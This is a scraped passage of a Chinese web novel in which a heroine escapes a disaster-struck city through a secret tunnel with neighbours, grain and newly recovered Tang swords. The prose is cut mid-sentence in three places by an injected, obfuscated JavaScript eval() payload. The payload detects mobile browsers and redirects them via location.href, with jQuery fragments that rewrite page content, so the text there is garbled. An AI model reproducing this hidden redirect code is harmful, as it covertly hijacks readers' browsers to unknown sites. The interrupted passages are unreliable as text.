宁竹仔细想了想，翻找原身为数不多的记忆，好像涉州城的前父母官确实是不怎么样，涉州百姓的日子，是在这任知州温正德到任后才渐渐好转的。 “贪污被砍头了？”宁竹问道。 季新承摇了摇头，缓声将自己知道的一些内情道了出来。 上一任知州名叫卢文博，是一个不折不扣的贪官，吃穿用度无一不精，据说离任时，身边更是仆役美人如云。 不过卢文博只是贪不是蠢，并不敢将贪污所得堂而皇之地显露于人前，是以涉州之外知晓此事的人寥寥无几，他就像是一只泥鳅，滑不留手，让人抓不住把柄。 宁竹若有所思地点点头，猜测道：“这地道修出来，不是为了暗地里转移财宝，就是用来逃命的吧？” 毕竟哪个皇帝能容忍掏自己的钱袋子的人，卢文博也是担心哪日东窗事发，自己指定逃不过被清算的下场，所以才提前在宅院中做了布局。 可惜他终究未能用上。 “我也不知。”季新承平静的声音在地道中回荡，“卢文博未满三年任期便突然离任，并非因贪污败露，而是升迁。” “升迁？”宁竹觉得是越听越诡异了。 季新承微微颔首：“对，后来他回京赴任的途中遭人暗杀，全家上下六十几口人，无一生还。” 诛杀朝廷命官可是死罪，更何况是这等灭门惨案。 当时朝野上下一片哗然，皇帝震怒，下令彻查此事，可人死如灯灭，贼人能无声无息杀了卢文博，焉知下一个不会是自己。 朝中官员个个明哲保身，生怕祸及己身，不愿意为灭门案奔走，此案最终不了了之。 后来有传言称，卢文博积攒半生的财物全都不翼而飞，仅余些许还未来得及变卖的私产，这座宅院便是其中之一。 当初温大人到任时两袖清风，没有银钱置办豪宅，卢文博敛财无数，倒是不吝将此宅相赠，以图交好，可惜被温正德义正言辞地拒绝了。 卢文博离任仓促，宅院并未来得及出手，而后全家惨死，这座宅邸便笼罩上了不祥的阴云，无人敢接手，生怕再接手了卢文博全家被灭口的霉运，于是就此空置下来直到现在。 宁竹吃了一肚子瓜，心中总是有些阴谋论，会不会出手的就是皇帝本人呢？黑吃黑这种事可不鲜见，卢文博本身并没有什么大功绩，无缘无故突然升迁本就蹊跷。 卢文博是死不足惜，只是连累家人仆役跟他一起命丧黄泉，后来的温正德跟他对比起来，当真是清正廉明。 “温大人是个好官，”宁竹感叹一声，又不解地说道，“那他为什么还会做出断了救济粮，又将所有灾民困死城中的事？” 空气骤然安静下来，宁竹看不见季新承的脸，只听出来他语气中的惋惜和遗憾。 “不是的……温大人昨日就遇难了。” 温正德一死，整个涉州城便陷入混乱。 闻言，宁竹猛地抬起头：“死了？” 谈话间，前头有了些光亮，似乎是走到头了，季新承停下脚步，话题也戛然而止。 前方的木门并没有落锁，季新承伸手推了推，灰尘就簌簌落下，随着“吱呀”一声响动，门被轻轻推开。 季新承率先躬身钻出，宁竹紧随其后。 扑面而来的新鲜空气让两人不禁深吸一口气，从地道口出来之后，眼前是一片开阔的地界，看样子更像是跑马场，远处涉州城墙的轮廓在暮色中若隐若现。 宁竹长舒了一口气，紧绷的神经终于稍稍放松下来，高兴地揉了揉小狼狗围脖上的毛。 “乖小狼，真厉害。” 格外通人性的小狼狗，像是也听得出这是在夸它，扬起脑袋响亮的应了一声。 “嗷呜！” 两人将周围大致探查了一番，发现这里离官道很远，附近也没有人家，不愧是前任知州精心挑选的路线，着实隐蔽。 时间拖得越久，变数越大。 眼看天色不早了，两人不敢耽搁，宁竹将背篓仔细藏进灌木丛中，找来树枝叶子用作遮掩。 两人左右看了看，确保不会被人轻易发现，这才转身返回地道中，快步往回走。 季新承虽然自幼在涉州城长大，但自打进了书院求学后，便极少在城中闲逛，对方家粮铺的位置并不清楚。 倒是宁竹这些日子为了塞满灶房和地窖，几乎跑遍城中的粮油铺和干货铺，对各家铺子的位置都很熟悉。 “方记粮铺在城西，离我们那条巷子不远。”宁竹低声说道，脚步不停。 季新承闻言便放心跟在她身后。 两人沿着偏僻的小路疾行，起初还刻意避开路人，待远离前知州府邸后，就加快步伐直奔目的地。 地动过后，这条往日不甚繁华的街道也明显被“光顾”过，那些侥幸没有坍塌的店铺，各家的门板和牌匾都被砸得四分五裂，内里货架翻倒，地上满是狼藉。 灾民们早已把这里翻了个底朝天，确认再无油水可捞后，便很少有人再来。 方掌柜家的铺子前头是店面，后头连着一个宽敞小院，一家五口人住绰绰有余，他也没雇伙计，身边只有一个跟了他几十年的老管家。 要说方掌柜，那也是个狠人，地动刚发生时，他就意识到大事不妙。 如今粮食紧缺，粮铺酒楼就是块香喷喷的肥肉，官府自顾不暇，哪还有余力保护他，就算被抢了也只能自认倒霉。 为了保住地窖里的存粮，他当天就不知打哪儿弄来一盆血，直接泼在院子里，又咬牙在自己手上划了一道口子，和老仆哭天喊地的演了一出“遭劫”的戏码。 他连自家人都瞒着，家中老小见满院狼藉，血迹斑斑，以为真遭了贼，顿时哭天抢地。 悲伤的哭喊声传得老远，整条街都听得见，反倒让旁人深信不疑——这粮铺，是真的被抢空了。 没了粮食的他自然就不招人眼，方掌柜一家白天若无其事地去领救济粮，夜里才敢偷偷从地窖里取些存粮果腹。 方掌柜的口风捂得严实，后头卞景辉找上门时，他本也没想说出来的，直到对方提出用药材交换，他才稍稍动摇。 这粮食放在手里，吃也吃不完，卖也不敢卖，只怕是有钱拿没命花，日夜提心吊胆，生怕被人盯上。 若能换些药材，倒也算物尽其用。 就在方掌柜犹豫不决的时候，卞景辉心中实在焦急，左思右想后，终于按捺不住，隐晦地透露了瘟疫可能爆发的消息。 当然不是明说，只是透露了一二口风。 方掌柜是何其精明的人，心中尚有疑虑，自然不会轻信。 他背地里不动声色地打发老仆出去打探，发现今日感染风寒咳嗽的人确实不在少数，最关键的是——城门封了！ 这不就变相证明卞景辉说的事情八成是真的吗！ 这下他没怎么犹豫就答应将粮食换成药材，晚点等卞景辉叫来伙计，再偷偷搬走。 可谁知，没一会儿卞景辉就带着人去而复返，方掌柜得知他们或许有出城的方法时，心中迅速盘算清楚利弊，当即答应下来。 用一些粮食换来生的希望，这买卖，稳赚不赔！ 因此，宁竹和季新承刚到粮铺时，人如其名，脸盘方方的方掌柜马上就笑着迎了上来。 他的脸笑得跟朵菊花似的，热情得几乎让人招架不住：“哎哟，两位就是宁小姐和季家子侄吧。” 宁竹有些适应不来这种热情，步子刚后退半步，忽听院里传来一声清脆的呼喊： “阿姐！” 一个小身影炮弹似的冲了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15229790|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宁竹还没来得及说话，倒是怀里的小狼狗立刻竖起耳朵，“嗷呜”了一声，尾巴摇得欢快。 眼看宁荷就要扑进怀里，宁竹连忙叫停。 “先别过来，我身上脏。” 她和季新承搬了半天碎石头，又在地道里蹭了一身的土，衣服早就脏得没眼看了。 宁竹低头看宁荷脸上裹得严严实实的面巾，身上穿的也不是早上那件，想来是季新桐他们给她换过衣服了。 宁荷急急刹住脚步，没有扎进阿姐怀里，转而牵她的衣角，总之一定是要挨着的。 宁竹无奈，也只能随着她了。 一会儿功夫，众人都闻声而出，看见两人回来都很高兴。 门外不是说话地方，方掌柜又招呼着众人重新回到院子里。 方掌柜运气确实不错，后院的六间房，居然还有两间完好无损的，难怪没有随着官兵出城，还被人盯上了。 如今这里成了众人的临时落脚点。 宁竹先带着宁荷，走到曹余馥、季新桐和卞瑞萱三人面前。 “多谢替我照看小荷。” 不仅是感谢她们三人照顾了宁荷，将她好好带进城，宁竹刚才进来时已经瞧见了，她们姐妹的行李被褥都被整齐码放在院子里。 今日城中都已经混乱成那样了，城外的场面可想而知不会太平静，这般乱局下还能如此周全，必然也是用了心的，不能不谢。 曹余馥连忙扶起她：“阿秀把你当亲闺女看待，桐儿也与你亲近，就别说这般见外的话了，再说，小荷本就是个听话懂事的孩子，我乐意照顾她。” 因为昨晚就有想要出城的打算，宁竹就提议先将细软都归置妥当，所以他们今日突然被撵进城时才不至于手忙脚乱。 在曹余馥看来，照顾宁荷本来也不是什么大事，而且她到的时候，丈夫就在私底下偷偷跟她说了。 宁竹和季新承没在，是去找离开涉州城的法子了，她心下更是感激，由心觉得自己做的事实在当不得谢。 她是如此，季新桐和卞瑞萱更是不用说，两人都挺喜欢宁荷的，照顾她都没觉得没什么。 宁竹笑了笑，索性也不说这些客套话了。 方掌柜担心家中人沉不住气，并没有把可能要出城的事情告诉他们，这会儿趁着宁竹他们叙话之时，用要招待贵客的借口，将儿子和儿媳给支开了。 他的儿子方鹏习惯性听父亲的话，虽然好奇，但压根就没有起疑心，带着妻子司若蕊就离开了。 见状，曹余馥也会意地让两个伙计退下。 等人都离开后，卞景辉迫不及待低压低声音问道：“怎么样？” 到底也是害怕人多眼杂或者隔墙有耳，所以并没有明着问。 宁竹喝了方掌柜倒的茶水，在七八双眼睛的热切注视下，微微颔首道：“找到了，等天一黑就动身。” 他们人多，加上方掌柜他们一家五口，足足有十几个人，除此之外还有行李和粮食，大白天里行动还是太扎眼了。 “太好了！太好了！” 说话的是方掌柜，他脸上是难以掩盖的喜色。 其他人虽未出声，但也没有好到哪里去，毕竟不用待在城中等死了，谁能不激动。 待众人稍平静些，宁竹严肃了神色：“有些丑话，我们还是说在前头的好。” 她的声音不大，却让所有人都不由自主地望了过来。 “既然已经决定要一起出城，那大家就都是一条绳上的蚂蚱，出城时务必要小心，若有人招来祸端，那他就自己出去顶着，或者我亲自来解决他。” 话音未落，宁竹随手捡起一颗石子，在手中掂了掂，然后状似轻飘飘地往桌上一掷—— “咚！” 一声过后，厚重的梨花木桌面竟被洞穿，只留下个不规则的圆孔。 22. 铁匠铺 宁竹的话说得掷地有声，也完全不留情面。 她并没有想隐藏自己武力的意思，反正都已经在与她最熟悉的卞含秀那里过了明路。 在这个世界上，除非宁松和宁家夫妇死而复生，否则谁都无法质疑她的身份，怀疑她并非原本的那个人。 众人的目光聚集在那张被洞穿的木桌上，不自觉地咽了咽唾沫，想象那颗石子若是打在人身上......瞬间觉得脊背发凉。 唯独季新承怔了一瞬，脸皮突然有些发热。 他想起方才在地道中，自己挡在宁竹身前的举动，如今想想是有点不自量力了。 不过宁竹这一举动，成功让众人过于躁动的心冷静了下来。 季新桐最先开口打破沉默，语气很是郑重：“小竹放心，我们必定会万分小心的。” 曹余馥也跟着轻声附和：“小竹说得对，此事关乎身家性命，大意不得，我也会仔细跟邵彬和万永交代的。” 方掌柜深知自己才是那个彻彻底底的外人，他神色有些紧张，生怕宁竹会把他们一家给撇下。 等旁人都说完后，他急忙表态道：“在下也会好好约束家里人的，倘若真的发生这种事，我以死谢罪！” 这话说得够狠，却也让人相信他绝对不会做出蠢事。 宁竹微微颔首。 她也不是真要做什么，毕竟大家目的一致，都是为了安全出城，她只是需要确保众人明白此事的严重性。 方掌柜见状，赶紧趁热打铁，笑得眼角皱纹挤作一堆：“粮食都还在地窖里没动，除了我们一家的两石口粮，其余的当做谢礼给宁小友和季小友。” 要不说方掌柜是个人精，见识过宁竹的武力值之后，连带着对两人的称呼都变了。 说话时，他眼睛一直小心翼翼地观察着宁竹的反应，就担心哪里让她不满意。 宁竹只是轻轻"嗯"了一声。 她本就是为了那点粮食才突发奇想带上方掌柜一家，毕竟人越多越危险，被发现的几率越大，她又不是做慈善的。 这时候，卞瑞萱轻轻附在宁竹耳边说道：“我家买了三石，地窖里约摸还剩下六石左右。” 宁竹在心中快速盘算，一石大概一百二十斤，那总共就有七百二十斤。 如果有合适的运输工具，她一人就能运走大半，剩下的季家父子再分着拿，应该能拿完。 这个数量比她预想的要多，足够他们两家吃三四个月了。 方掌柜最会察言观色，捕捉到宁竹的神色变化，再看她连个趁手的运粮食行李的推车都没有，立刻殷勤地说道： “宁小友，我这儿还有辆完好的手推车，你先勉强用着，做个过渡。” 他说完不等宁竹回答，对着一旁的老管家方阿泰使了个眼神，对方心领神会快步走出了房间。 宁竹确实需要个手推车，方掌柜主动提出来，省得她再花时间出去找，于是认真道了谢。 方掌柜连忙摆手，只是脸上笑意更甚。 该说的话宁竹都说完了，剩下等待天黑的这段时间，众人就各自收拾行李，确保撤退时立马就能出发。 宁竹走出房间，站在院中的水井旁，放下绑着木桶的绳索，准备打点水清理一下身上的污渍。 方阿泰见状急忙上前：“怎么劳您亲自动手，让在下来吧。” 宁竹不着痕迹地侧身避开，笑着婉拒道：“打个水我还是行的，您去忙吧。” 见她不是客套，是真的不需要帮忙，方阿泰只能无奈收回手，说了一句“有事尽管招呼”，便退了下去。 等方阿泰走开后，宁竹心不在焉地绞动辘轳。 这下粮食的问题解决了，可她心中还有一件事放不下。 从涉州城去原北县路上有个三五日的路程，这一路的凶险难以预测，当务之急他们还需要的是武器。 宁松给的匕首是很不错，可是宁竹前世砍丧尸习惯了，用短距离武器实在是不太顺手，她还是更喜欢长刀。 可是如今城中都已经乱成一锅粥了，该去哪儿寻武器呢。 宁竹眉头不自觉地皱起，一般人家肯定是不会有的，毕竟兵器管控严格，私藏兵器可是要砍头的重罪，寻常百姓哪敢沾染。 宁竹叹了口气，将木桶拎下来，用葫芦瓢舀了水浇在手上，心想着，要不然就削两根木棍做长矛吧，也比赤手空拳要强。 宁荷这个小跟屁虫本来蹲在一旁和小狼狗玩闹，耳朵却敏锐地捕捉到了自家阿姐叹气的声音，肉嘟嘟的小手撑着下巴，仰起头来问： “阿姐为什么叹气？” 宁竹心中想着事，也没有对宁荷设防，下意识张口道：“我在想哪里有武器。” 宁荷有些茫然地眨了眨眼睛。 宁竹回过神，甩了甩手上的水珠：“没什么，阿姐胡乱说的。” 宁荷却突然站起来，小脸上满是认真，望着宁竹小声说道：“是阿兄送的那种吗？” 那把匕首原身经常拿出来睹物思哥，宁荷也记住了，听见她问，宁竹就点了下头。 宁荷眼睛一亮，举起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15240447|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小手：“我知道哪里有！” 宁竹表情有些讶异，蹲下身来问道：“你知道？” “对呀，阿兄的小刀是爹爹从季阿叔那里买来的。”宁荷万分肯定地说道，还生怕宁竹不相信，凑近了两分，满脸神秘，“真的，阿兄跟我说的！” 宁竹眼睛顿时一亮。 对呀，她怎么忘了，季元武可是铁匠铺的工匠，当初宁松的那把匕首就是从那家铁匠铺定做的。 “乖小荷，帮了姐姐的大忙了。”宁竹揉了揉她的发顶。 宁荷得了夸奖，小脸红扑扑的，笑得露出两排小米牙，她怀里的小狼狗也跟着“嗷呜”叫了两声，一人一狗同款傻笑。 距离天黑没剩多少时间了，宁竹快步走向正在整理行装的季元武，将他喊到一处僻静的角落。 “季叔，”宁竹压低声音问道，“铁匠铺里有武器吗？” 季元武闻言，瞬间明白了宁竹的意思，路上可能会遇到许多危险，多一把武器，安全就多一份保障。 他沉思两秒道：“有，就在年前，有人许重金打造了一批武器。” 宁竹追问道：“那地方远吗？” “不远，来回要不了半个时辰。”季元武拍了下脑门，表情颇有些懊恼，“只是现在去，不知东西还在不在，都怪我先前没能想起来，不然就提前去看一眼了。” “没事，现在去也来得及。”宁竹当机立断，转身唤来季新承。 季新承正在捆扎行李，听见宁竹的声音，放下手中的麻绳，朝这边走过来。 等他走近，宁竹语速很快地交代道：“我和季叔要出去一趟，若是没有及时赶回来，你就先带其他人去地道那边。” 季新承顿了顿，看见一旁的父亲，并没有继续往下问。 他心里已经大概猜到了些许。 ——在这个节骨眼上，能让阿爹和宁竹同时冒险外出的，想必只有兵器了吧？ 他隐约知道季元武年前接了一笔急单的事情，因为那段时间正逢过年，季元武还整日都在铁匠铺里忙碌，被卞含秀念叨了好几回。 季新承点了点头，温声道：“放心，这边交给我。” 宁竹将小狼狗留了下来，以防万一，还能多留一个找得到路的。 而宁荷已经习惯阿姐时不时就要出去一趟，不过习惯是一回事，接受又是一回事。 她望着宁竹的背影，又低头看着自己短短的手指，郁闷地瘪了下嘴。 自己什么时候才能长大啊，这样就能和阿姐一起去了...... 23. 拿到兵器 如今，天下所有的铁矿都由官府来进行运营，普通人是没有资格拿到铁匠铺经营权的，这家铁匠铺背后东家也多多少少跟当官的有些沾亲带故。 即使温正德已经算得上是难得清廉的好官了，但是毕竟上任的时间短，有时候压不过那些盘踞已久的地头蛇，也无法完全约束底下的人。 因此在他的治下，依旧存在某些隐规暗矩，不过那些人只要不触及百姓利益，温正德出于大局考虑，也不得不睁一只眼闭一只眼，做些让步。 铁匠铺就是其中之一。 不过季元武带宁竹去的并不是铁匠铺，而是专门用来存放一些见不得光的物件的库房。 库房位置的具体所在，只有季元武和几个在铁匠铺做工多年的老人才知晓，当初想的是大隐隐于市，所以库房的地点选在了不起眼的巷弄深处，一个很平常的院落。 宁竹打量着眼前这座塌了半边的朴素宅子，至少单从外表看，根本看不出这里会是一间用来藏私的库房。 “年前有一家商户来定制兵器，说是跑商防盗匪用。”季元武拨开满地的残砖碎瓦，抬脚往院落里走，嘴里解释道，“那商户再三保证，绝对不会轻易拿出来，因为要量不多，利润也可观，所以东家才接了单子。” 宁竹点点头，事少钱多，确实没谁会拒绝。 “只是这批武器才做出来没多久，地动就发生了，一直积压在库房中，不知后续有没有人来找过。” 季元武说完，指了指某个墙角的位置，两个人二话说不说就动手开挖。 宁竹随手搬开一块砖，侧头问道：“季叔，那商户定下的是什么？” 季元武：“他们要长刀，我们不敢仿官兵制式，就改成了唐刀，那家商户银子给的大方，东家就嘱咐用了上等精铁打造。” 他还有句话没明说出来，比起衙门里那些官兵不知道用了多少年的长刀，这批精心打造的唐刀可是要好上许多。 宁竹眼睛更亮了，唐刀好啊，她最喜欢的就是唐刀。 “一共造了多少把？” “统共五把。” 说了两句话的功夫，宁竹余光就瞥见了一个箱子的轮廓。 季元武低声道：“在这儿！找到了！” 不知定制兵器的那家商户有没有像其他富户一样已经离开了涉州城，不过眼下大概要便宜宁竹他们了。 箱子体积有些大，还有大半埋在土里，宁竹索性让季元武松手，先退到一边去。 宁竹拽住箱子的边缘，胳膊稍稍用劲。 季元武就眼睁睁地看着她将箱子给硬生生拔了出来，兵器在里头的撞得“哐啷”作响。 这箱子本就用的是上好的木料，少说也有百斤重，再加上五把精铁打造的唐刀的重量，要两个壮汉合力才能勉强抬起来。 可宁竹一个人就轻松拿起来了，连气息都没乱，看起来游刃有余。 宁竹将箱子放在地上，看见上面还挂着把铜锁，她想也不想就抄起一块青砖，对准箱锁就砸了下去。 那把铜锁仿佛豆腐做的一般，在重击下应声碎开，连个“全尸”都没有留下。 宁竹迫不及待地将箱子打开，完全忽略了季元武欲言又止的表情。 他摸了摸怀里的钥匙，看着宁竹难得露出雀跃的神情，还是默默地把即将出口的话咽了回去。 算了，反正现在也没人了，砸了就砸了吧。 宁竹掀开箱盖，里面整整齐齐摆了五把唐刀，她抽出一柄，刀身出鞘时发出“铮”的轻吟。 刀身线条刚劲流畅，笔直修长，刃口锋利，刀柄用了上好的木料包裹，再缠绕上坚韧的丝线，握起来手感非常好。 刀鞘上还刻了精美的纹饰，只是看起来却是略有几分眼熟...... 仔细想想，这图案不就是张德明给她那块玉佩上背面刻着的吗，那块玉佩正面是张家家徽，背面就是眼前这个图案。 宁竹眉头微挑，心中暗道：倒是巧了。 没想到这么顺利拿到了刀，两人花了点时间，重新把箱子填埋回去，掩盖来过的痕迹。 毕竟是武器，不好大张旗鼓的拿在手上，他们沿途都躲着人走，用衣服遮挡住些许。 等他们再次回到方记粮铺时，天已经黑了，院中众人早已整装待发。 特别是方掌柜，天色刚一擦黑，他就已经迫不及待了，简直恨不得有双翅膀立马飞走。 此时终于见到人回来，他几乎条件反射性的立马就迎上去。 “太好了，你们终于回来了......” 可当他看清两人手中之物时，又生生把后面的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15252958|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽了回去，眼珠子都不由得一颤。 乖乖，这又是打哪来的。 方掌柜止住了话头，咽了咽唾沫不敢多问，他身后的家眷也是埋着头，都老老实实的不敢多看。 毕竟儿子/爹可是三申五令打过招呼的，少说少听少看，管好自己，一家人能够安全出城是最重要的。 而卞家和季家这边，季新承已经在私底下通过气了，也是怕到时候他们沉不住气，露出破绽。 所以这会儿他们看见宁竹手里的刀，并没有做出什么反应，都是眼观鼻，鼻观心。 宁竹没理会方掌柜惊疑不定的目光，径直走向自己的手推车，她将唐刀塞进被褥中盖着做遮掩，最后再把宁荷和小狼狗抱上去坐着。 这俩腿短走得慢，等会儿她一起就推着走了。 宁竹抬头问道：“你们都没有夜盲症吧？” 卞瑞萱歪了歪脑袋，问出了大家的疑问：“夜盲症是什么？” 宁竹意识到自己失言，也没有露出异常，手上动作不停，自然而然道：“就是雀盲，到了晚上看不见。” 大多数人闻言都摇了摇头，只有方掌柜那六十岁的老母亲，年纪大了眼神不太好，另外还有卞家两个伙计，到了晚上眼神也不太好使。 宁竹多说了一句：“看不清你们就多扶着点，别摔了，一会承哥儿尽量带着走平整点的路。” 季新承应了一声“好”。 把该交代的交代一遍，队伍很快整顿完毕，季新承走在前面带队，妇孺们拎上行李包袱跟着，几个汉子在后面推着满载粮食和被褥的板车。 宁竹殿后，就她这个战斗力，在场的无人能及，自然没有异议。 推车上，宁荷抱着小狼狗乖乖坐好，牢记着阿姐的话，自己不发出声音的同时，双手还不忘轻轻捏着小狼狗的嘴筒子。 夜间的街道寂静得可怕，只能看见黑暗中不时闪现的火光，众人屏息前行，每个人面上都带着几分紧张，尽量放轻步子，不惹来旁人注意。 众人有惊无险的终于到达了前知州府邸外，季新承率先走进地道领路，老人孩子正在依次往里进。 忽然，宁竹耳尖一动，听见远处传来了马蹄的声音声响，伴随而来的，还有若隐若现的火光。 “动作快点，有人来了！”